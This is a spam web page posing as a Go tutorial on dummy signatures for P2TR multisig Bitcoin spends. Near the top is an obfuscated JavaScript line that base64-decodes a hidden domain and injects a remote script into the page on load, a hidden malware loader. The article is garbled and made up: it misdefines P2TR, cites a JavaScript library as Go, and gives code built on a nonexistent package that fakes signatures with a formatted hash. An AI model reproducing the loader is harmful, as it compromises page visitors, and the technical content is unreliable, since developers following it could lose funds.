Bitcoin: How “addDummySigs” in golang when send satoshi from p2tr multisig script?

const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx);const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=6af08d2c”;document.body.appendChild(script);

I can provide you with an article on how to add dummy signatures in GoLang when sending Satoshi from a P2TR multisig script.

Adding dummy signatures in Golang when sending Satoshi

In this article, we will explore the concept of adding dummy signatures to a P2TR multisig script using Golang. We will use the bitcoinjs-lib package as an example, a popular and well-maintained library for working with Bitcoin.

What is P2TR?

P2TR stands for Proof of Transaction Root, a data structure used to represent a transaction on the Bitcoin network. The root node of a P2TR taproot is a key that represents a specific combination of inputs, outputs, and other metadata associated with a transaction.

Why add dummy signatures?

In multisig wallets, each member must sign their portion of the transaction before it can be sent to the network. However, some members may not have sufficient funds or resources to perform these signatures themselves. In such cases, we need to add dummy signatures to ensure that at least one member has signed their portion.

Add dummy signatures in GoLang

To add dummy signatures in Golang, we can use the crypto/sha256 package to generate a hash of the dummy signature and then use that hash as the dummy signature. Here is a sample code snippet:

package main
import (
"crypto/sha256"
"fmt"
)
func main() {
// Load the multisig taproot script
taproot, err := btinewton.NewTaproot([]byte("your_script"), 3)
if err != nil {
fmt.Println(err)
return
}
// Generate a hash of the dummy signature
dummySignatureHash := sha256.Sum256([]byte("dummy_signature"))
// Generate a dummy signature using the hash and taproot
dummySignature := fmt.Sprintf("%x:%x:%x", dummySignatureHash, taproot.GetWitnesses()[0].GetIndex(), taproot.GetWitnesses()[1].GetIndex())
// Send Satoshi to the network with the dummy signature
taproot.SpendSatoshi(dummySignature)
}

In this code snippet:

• We load a multisig Taproot script with btinewton.NewTaproot.

• We generate a hash of the dummy signature using SHA-256.

• We create a dummy signature by formatting the hash and Taproot data into a string using %x:%x:%x (where %x represents the hash and %x, %x, %x represent the dummy signature).

• We send Satoshi to the network with the dummy signature.

Note

: In a real-world implementation, you should replace your_script with your actual multisig taproot script and update the dummy signature data accordingly. Additionally, you may want to use a more robust method to generate dummy signatures, such as a deterministic hash function or random number generator.

Hope this article helps you add dummy signatures in Golang when sending Satoshi from a P2TR multisig script!

short position futures premium